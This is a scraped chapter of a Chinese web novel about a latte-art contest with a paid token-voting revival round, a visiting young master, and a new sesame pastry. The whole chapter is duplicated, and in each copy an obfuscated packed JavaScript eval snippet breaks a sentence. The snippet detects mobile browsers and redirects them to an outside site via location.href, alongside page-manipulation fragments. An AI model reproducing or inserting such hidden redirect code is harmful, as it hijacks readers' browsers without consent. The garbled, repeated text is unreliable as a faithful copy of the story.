原源 作品
55. 汤圆酥
因为报名的人太多，好安在大赛前一天举办了一场初赛，筛掉一些拉啥啥不像的选手。就算这样，进入决赛的还有七十三位。
十月十八日，天空澄澈，万里无云，阳光柔和温暖。
比赛还没开始舞台前方就围了一圈又一圈的人。幸亏地方足够宽敞，才没影响交通。
台基搭的不高，一脚便能蹬上。台面上铺着红色布毯，四周围着各式各样的花卉彩纸，看着就喜庆吉祥。
舞台的背景是一个与台齐宽的三折叠木制雕花屏风，中间的屏风上画着几款最基础的拉花图样，两侧写上了这次比赛所有的赞助商。
按照赞助金额排序。
有几家只是因为好记是他们的大客户，碍于情面才赞助了一点。
本以为自家铺子的名字会写在哪个犄角旮旯里，现看到如此醒目的不能在醒目的位置，对好安的安排十分满意，又十分后悔，后悔当时没多赞助点，不然怎能让对家压自己一头。
下次，下次好老板再来拉赞助，他家一定要写在最上面！
木制屏风的顶上悬挂着巨大得横幅和三朵错落有致的大红花。
红花之间由几条长长的红色和蓝色绸带连接，像一道道倒挂的彩虹。
舞台的两侧是评委席。评委席的台基略高于舞台，一是以示尊重，二是方便观看。
评委席的前方摆放着一条长案，长案上摆放着笔墨纸砚、茶盏香炉。
此次评委席一共九人，六个是前六名赞助商，三个是县里有名书画大师。
比赛流程好安已经和王掌柜对过无数次了。
此次比赛分两个部分，前三场选手通过抽签，两两pk。评委当场实名打分，胜利者进去下一轮，失败者淘汰。
因为人数是奇数，前三轮每轮都会有一人轮空，轮空的人可以直接进入下一场。
直到第四场，也是最终场。赛制改为单人赛制，所有人比赛结束后，根据评分的高低来确定排名。
前三场一路pk下来，刚好十人。
前三名也刚好十人。
可这并不意味着这十人包揽前三名。
第三场和第四场之间好安加了一场复活赛。
复活赛不比赛，比打投。
好安同时推出好记零食小礼包，内有瓜子小木牌。好记的老客户都可免费领取一份。
零食小礼包里的小木牌专门用来打投的。把小木牌送给你支持的选手，获得最多小木牌的选手便能复活。
好安把这个主意和王掌柜确认时，纵横商场几十年的王掌柜也自叹不如。
怪不得少东家十分看重好安。
年纪轻轻但赚钱的法子忒多。
一两瓜子三文钱，价格是王记酒楼的两倍。
明明可以直接抢，但偏偏要你心甘情愿。
第一份免费领取帮好记赚了口碑，就算直接购买，大家因为总价低也愿意花钱。
能进入决赛的这些人，哪个不在好记花钱练了好多次，甚至不少人还报名参加了二百九十九文一节的大师课。
一袋零食小礼包三文钱，它不仅给你小木牌，还给你一包花生瓜子。
这点钱在选手眼里就是毛毛雨。那还不使劲砸钱进决赛。
怪不得这次赞助商里有炒货铺子，还排在第一名，好安这招埋得够深。
评委们都入席了，王掌柜理了理衣服，吉时一到，锣鼓喧天。
……
“经过激烈的角逐，我们见证了很多精美绝伦的拉花作品，现在最后十强选手已经决出。让我们把目光转向复活赛……”
台下，计票员——各赞助商贡献出的伙计正在众目睽睽之下紧张的数着小木牌。
明明风清气爽的天气里硬是逼出一身汗。
王掌柜一手提词卡，一手小喇叭，高声道：“……最后一个名额到底会花落谁家！”
他声音洪亮有力，不仅直击现场的每一个观众心灵，还响彻整个街道。
刚从府城回来路过此处的王宁：我是这几天太累了吗？这离王记酒楼还有好几条街，我怎么听到了王掌柜的声音？
“一定是马车里太闷了！”说着，王宁推开车窗，转头面向车外。
“目前看来，五十八号和二十七号的票数不相上下……”王掌柜的声音再次飘来。
“赶紧停下！”
王宁半身探出车窗，看着不远处熟悉的身影，那不是他家王掌柜吗？
怎么站在好记的横幅下面？
“你先回去把东西给我哥。”
说完，王宁头也不回地跳下马车，朝前挤去。
“小郎君，不要挤啦，这是我的位置。”
王宁连忙道歉，问道：“这是在举办什么活动吗？”
婶子看王宁态度不错，吐掉口里的瓜子道：“横幅上不写着呢嘛，拉花大赛。”
拉花？大赛？
他才离家几天，怎么听不懂话了？
婶子看着脖子伸得跟鹅一样的王宁，说道：“想要好位置下次就早点来。”
“是是是。”王宁嘴上敷衍，两眼却扫描着台上的一切。
这个背景屏风的雕花怎么和王记酒楼的一模一样？
两边桌子上的香炉怎么也这么眼熟？
还有那个横幅，应该是花见的独家布料。
他要是没看错的话，横幅上写的是好记。
他要是没记错的话，横幅的料子四十两一匹。
每一个都没问题，可连一起就问题大了。好安能花四十两做横幅他倒过来姓。
最后一把木牌递到计票员手中，四周突然静了下来，空气中弥漫着一股紧张的氛围。
随着最后一块木牌掉落桶中，三块木牌之差。二十七号“唰”一下站了起来，激动的满脸通红，手舞足蹈。
“让我们恭喜二十七号，复活成功！”王掌柜振臂高呼。
台下又恢复了喧闹。
人群中的王宁还在大声道：“借过，借过。”一见缝隙就趁机往前挪几步。
少爷我气宇轩昂，耀眼夺目，前面那三个维持秩序的王记酒楼伙计是瞎了吗！
发冠被撞歪，衣服被卡住，王宁拼了老命才挤到前排。
最后还是站在一旁的好安发现了他，把他从人群里捞了出来。
“你是从府城逃难回来的吗？”好安看着头发松散、衣冠不整的王宁露出嫌弃的表情。
“有水吗？”
刚刚喊得太大声，嗓子有点痒。
“那。”好安指了指观众区的侧边，王秀和陈卫推着一个小推车在卖东西。
白水，一文钱一碗。
奶茶，十文钱一碗。
……
“我请你。”好安难得大方一回，塞给王宁一文钱。
请客还要自己去买，王宁长这么大还是头一次。
一文钱，像是打发路边的乞丐。
要是别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237974|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人给，他肯定当场挂脸。但好安这个大抠搜给就不一样了。
这一文，代表好安对他们友谊的认可，是象征！
这一文值得……
赶紧花掉。
一口闷完，嗓子里的痒意逐渐消退，王宁这才有心思搞清一些比赛规则。
他很快就抓住这场比赛最特别的点——零食小礼包。
“三文钱就买你一个自制的小木牌？”
小木牌粗制滥造，王宁不相信能卖的出去，可看见成桶成桶的木牌时，不得不相信。
“还送了瓜子。不，三文钱买瓜子送木牌。”王掌柜插话道。
这就显得很合法。
忽然，锣鼓一响，台上陷入安静，围观的人也不再说话，四周只有漏壶的嘀嗒声。
王宁：“？”
“比赛开始了。”好安拉着王宁去了一个视角最佳位。
比赛时间很短，三分钟左右。选手们退场后，作品还摆在台子上，等评委们打分。
王宁占据地利人和，将选手们的一举一动尽收眼底。
拉花和几十年前就行的茶百戏有什么区别？
王宁不解。
好安拍了拍王宁的肩膀，意味深长道：“时尚就是一个轮回，经典永不落幕。”说着从桌上拿起笔和本子，问道：“你现在看着就闲。来，说说你祖母的喜好忌讳。”
话题转化的如此之快，王宁还在思考好安的轮回说，她已经研好磨，准备下笔了。
“花鸟鱼虫，赤橙黄绿都说说。”
王宁简单的提了两句，比赛也接近尾声。
获得第一名的居然是一位两鬓斑白的老丈。
他喜好茶百戏，隔三差五的在家画上一回。这次一幅临水照花图，技压群雄。
好安决定聘他来好记当拉花师，好解放自己。
比赛散后，很多没过瘾或者没拿名次又不服的人纷纷跑去好记继续比。
而获得名次的，除了一骑绝尘的第一名，其他人都收到挑战书。
这些就不是好安关心的了，只要在好记别打起来一切随意。
好记一下涌入太多人，二楼座无虚席。好安只能请王宁和王掌柜去后院。
王宁熟门熟路地坐下，道：“好记最近有出新点心吗？”
“有。”王掌柜更熟门熟路地答道。
王宁：你到底是谁家的掌柜！
王掌柜也意识到不妥，连忙解释道：“最近常来和好老板对主持的台本，所以这边新品我都知道。”
王宁很快被哄好，毕竟王掌柜不同于其他掌柜，自己刚开始从商也是跟在王掌柜后面。
很快，好安端来一碟子小圆球，色泽金亮，上面点缀着几粒黑芝麻。
“这是什么？”
王宁一口咬下去金黄的外皮酥得掉渣。
“小心烫！”王掌柜连忙提醒道。
紧接着是软糯的内里，唇齿间一下冒出一股黑香的芝麻馅。
爆汁了。
“真烫。”
王宁舌尖被烫到，来回在牙齿上磨蹭。
等馅微凉，又一口气都塞进嘴里。
又酥又糯，又香又甜。
“蛋挞皮裹芝麻馅汤圆。”嘴刁的王宁一口吃出配方。
“对。”好安大方承认。
托拉花的福，这款汤圆酥卖得最好。哪怕后来有其他家模仿，但在拉花大赛的带动下，大伙还是最认好记的汤圆酥。
十月十八日，天空澄澈，万里无云，阳光柔和温暖。
比赛还没开始舞台前方就围了一圈又一圈的人。幸亏地方足够宽敞，才没影响交通。
台基搭的不高，一脚便能蹬上。台面上铺着红色布毯，四周围着各式各样的花卉彩纸，看着就喜庆吉祥。
舞台的背景是一个与台齐宽的三折叠木制雕花屏风，中间的屏风上画着几款最基础的拉花图样，两侧写上了这次比赛所有的赞助商。
按照赞助金额排序。
有几家只是因为好记是他们的大客户，碍于情面才赞助了一点。
本以为自家铺子的名字会写在哪个犄角旮旯里，现看到如此醒目的不能在醒目的位置，对好安的安排十分满意，又十分后悔，后悔当时没多赞助点，不然怎能让对家压自己一头。
下次，下次好老板再来拉赞助，他家一定要写在最上面！
木制屏风的顶上悬挂着巨大得横幅和三朵错落有致的大红花。
红花之间由几条长长的红色和蓝色绸带连接，像一道道倒挂的彩虹。
舞台的两侧是评委席。评委席的台基略高于舞台，一是以示尊重，二是方便观看。
评委席的前方摆放着一条长案，长案上摆放着笔墨纸砚、茶盏香炉。
此次评委席一共九人，六个是前六名赞助商，三个是县里有名书画大师。
比赛流程好安已经和王掌柜对过无数次了。
此次比赛分两个部分，前三场选手通过抽签，两两pk。评委当场实名打分，胜利者进去下一轮，失败者淘汰。
因为人数是奇数，前三轮每轮都会有一人轮空，轮空的人可以直接进入下一场。
直到第四场，也是最终场。赛制改为单人赛制，所有人比赛结束后，根据评分的高低来确定排名。
前三场一路pk下来，刚好十人。
前三名也刚好十人。
可这并不意味着这十人包揽前三名。
第三场和第四场之间好安加了一场复活赛。
复活赛不比赛，比打投。
好安同时推出好记零食小礼包，内有瓜子小木牌。好记的老客户都可免费领取一份。
零食小礼包里的小木牌专门用来打投的。把小木牌送给你支持的选手，获得最多小木牌的选手便能复活。
好安把这个主意和王掌柜确认时，纵横商场几十年的王掌柜也自叹不如。
怪不得少东家十分看重好安。
年纪轻轻但赚钱的法子忒多。
一两瓜子三文钱，价格是王记酒楼的两倍。
明明可以直接抢，但偏偏要你心甘情愿。
第一份免费领取帮好记赚了口碑，就算直接购买，大家因为总价低也愿意花钱。
能进入决赛的这些人，哪个不在好记花钱练了好多次，甚至不少人还报名参加了二百九十九文一节的大师课。
一袋零食小礼包三文钱，它不仅给你小木牌，还给你一包花生瓜子。
这点钱在选手眼里就是毛毛雨。那还不使劲砸钱进决赛。
怪不得这次赞助商里有炒货铺子，还排在第一名，好安这招埋得够深。
评委们都入席了，王掌柜理了理衣服，吉时一到，锣鼓喧天。
……
“经过激烈的角逐，我们见证了很多精美绝伦的拉花作品，现在最后十强选手已经决出。让我们把目光转向复活赛……”
台下，计票员——各赞助商贡献出的伙计正在众目睽睽之下紧张的数着小木牌。
明明风清气爽的天气里硬是逼出一身汗。
王掌柜一手提词卡，一手小喇叭，高声道：“……最后一个名额到底会花落谁家！”
他声音洪亮有力，不仅直击现场的每一个观众心灵，还响彻整个街道。
刚从府城回来路过此处的王宁：我是这几天太累了吗？这离王记酒楼还有好几条街，我怎么听到了王掌柜的声音？
“一定是马车里太闷了！”说着，王宁推开车窗，转头面向车外。
“目前看来，五十八号和二十七号的票数不相上下……”王掌柜的声音再次飘来。
“赶紧停下！”
王宁半身探出车窗，看着不远处熟悉的身影，那不是他家王掌柜吗？
怎么站在好记的横幅下面？
“你先回去把东西给我哥。”
说完，王宁头也不回地跳下马车，朝前挤去。
“小郎君，不要挤啦，这是我的位置。”
王宁连忙道歉，问道：“这是在举办什么活动吗？”
婶子看王宁态度不错，吐掉口里的瓜子道：“横幅上不写着呢嘛，拉花大赛。”
拉花？大赛？
他才离家几天，怎么听不懂话了？
婶子看着脖子伸得跟鹅一样的王宁，说道：“想要好位置下次就早点来。”
“是是是。”王宁嘴上敷衍，两眼却扫描着台上的一切。
这个背景屏风的雕花怎么和王记酒楼的一模一样？
两边桌子上的香炉怎么也这么眼熟？
还有那个横幅，应该是花见的独家布料。
他要是没看错的话，横幅上写的是好记。
他要是没记错的话，横幅的料子四十两一匹。
每一个都没问题，可连一起就问题大了。好安能花四十两做横幅他倒过来姓。
最后一把木牌递到计票员手中，四周突然静了下来，空气中弥漫着一股紧张的氛围。
随着最后一块木牌掉落桶中，三块木牌之差。二十七号“唰”一下站了起来，激动的满脸通红，手舞足蹈。
“让我们恭喜二十七号，复活成功！”王掌柜振臂高呼。
台下又恢复了喧闹。
人群中的王宁还在大声道：“借过，借过。”一见缝隙就趁机往前挪几步。
少爷我气宇轩昂，耀眼夺目，前面那三个维持秩序的王记酒楼伙计是瞎了吗！
发冠被撞歪，衣服被卡住，王宁拼了老命才挤到前排。
最后还是站在一旁的好安发现了他，把他从人群里捞了出来。
“你是从府城逃难回来的吗？”好安看着头发松散、衣冠不整的王宁露出嫌弃的表情。
“有水吗？”
刚刚喊得太大声，嗓子有点痒。
“那。”好安指了指观众区的侧边，王秀和陈卫推着一个小推车在卖东西。
白水，一文钱一碗。
奶茶，十文钱一碗。
……
“我请你。”好安难得大方一回，塞给王宁一文钱。
请客还要自己去买，王宁长这么大还是头一次。
一文钱，像是打发路边的乞丐。
要是别
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237974|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人给，他肯定当场挂脸。但好安这个大抠搜给就不一样了。
这一文，代表好安对他们友谊的认可，是象征！
这一文值得……
赶紧花掉。
一口闷完，嗓子里的痒意逐渐消退，王宁这才有心思搞清一些比赛规则。
他很快就抓住这场比赛最特别的点——零食小礼包。
“三文钱就买你一个自制的小木牌？”
小木牌粗制滥造，王宁不相信能卖的出去，可看见成桶成桶的木牌时，不得不相信。
“还送了瓜子。不，三文钱买瓜子送木牌。”王掌柜插话道。
这就显得很合法。
忽然，锣鼓一响，台上陷入安静，围观的人也不再说话，四周只有漏壶的嘀嗒声。
王宁：“？”
“比赛开始了。”好安拉着王宁去了一个视角最佳位。
比赛时间很短，三分钟左右。选手们退场后，作品还摆在台子上，等评委们打分。
王宁占据地利人和，将选手们的一举一动尽收眼底。
拉花和几十年前就行的茶百戏有什么区别？
王宁不解。
好安拍了拍王宁的肩膀，意味深长道：“时尚就是一个轮回，经典永不落幕。”说着从桌上拿起笔和本子，问道：“你现在看着就闲。来，说说你祖母的喜好忌讳。”
话题转化的如此之快，王宁还在思考好安的轮回说，她已经研好磨，准备下笔了。
“花鸟鱼虫，赤橙黄绿都说说。”
王宁简单的提了两句，比赛也接近尾声。
获得第一名的居然是一位两鬓斑白的老丈。
他喜好茶百戏，隔三差五的在家画上一回。这次一幅临水照花图，技压群雄。
好安决定聘他来好记当拉花师，好解放自己。
比赛散后，很多没过瘾或者没拿名次又不服的人纷纷跑去好记继续比。
而获得名次的，除了一骑绝尘的第一名，其他人都收到挑战书。
这些就不是好安关心的了，只要在好记别打起来一切随意。
好记一下涌入太多人，二楼座无虚席。好安只能请王宁和王掌柜去后院。
王宁熟门熟路地坐下，道：“好记最近有出新点心吗？”
“有。”王掌柜更熟门熟路地答道。
王宁：你到底是谁家的掌柜！
王掌柜也意识到不妥，连忙解释道：“最近常来和好老板对主持的台本，所以这边新品我都知道。”
王宁很快被哄好，毕竟王掌柜不同于其他掌柜，自己刚开始从商也是跟在王掌柜后面。
很快，好安端来一碟子小圆球，色泽金亮，上面点缀着几粒黑芝麻。
“这是什么？”
王宁一口咬下去金黄的外皮酥得掉渣。
“小心烫！”王掌柜连忙提醒道。
紧接着是软糯的内里，唇齿间一下冒出一股黑香的芝麻馅。
爆汁了。
“真烫。”
王宁舌尖被烫到，来回在牙齿上磨蹭。
等馅微凉，又一口气都塞进嘴里。
又酥又糯，又香又甜。
“蛋挞皮裹芝麻馅汤圆。”嘴刁的王宁一口吃出配方。
“对。”好安大方承认。
托拉花的福，这款汤圆酥卖得最好。哪怕后来有其他家模仿，但在拉花大赛的带动下，大伙还是最认好记的汤圆酥。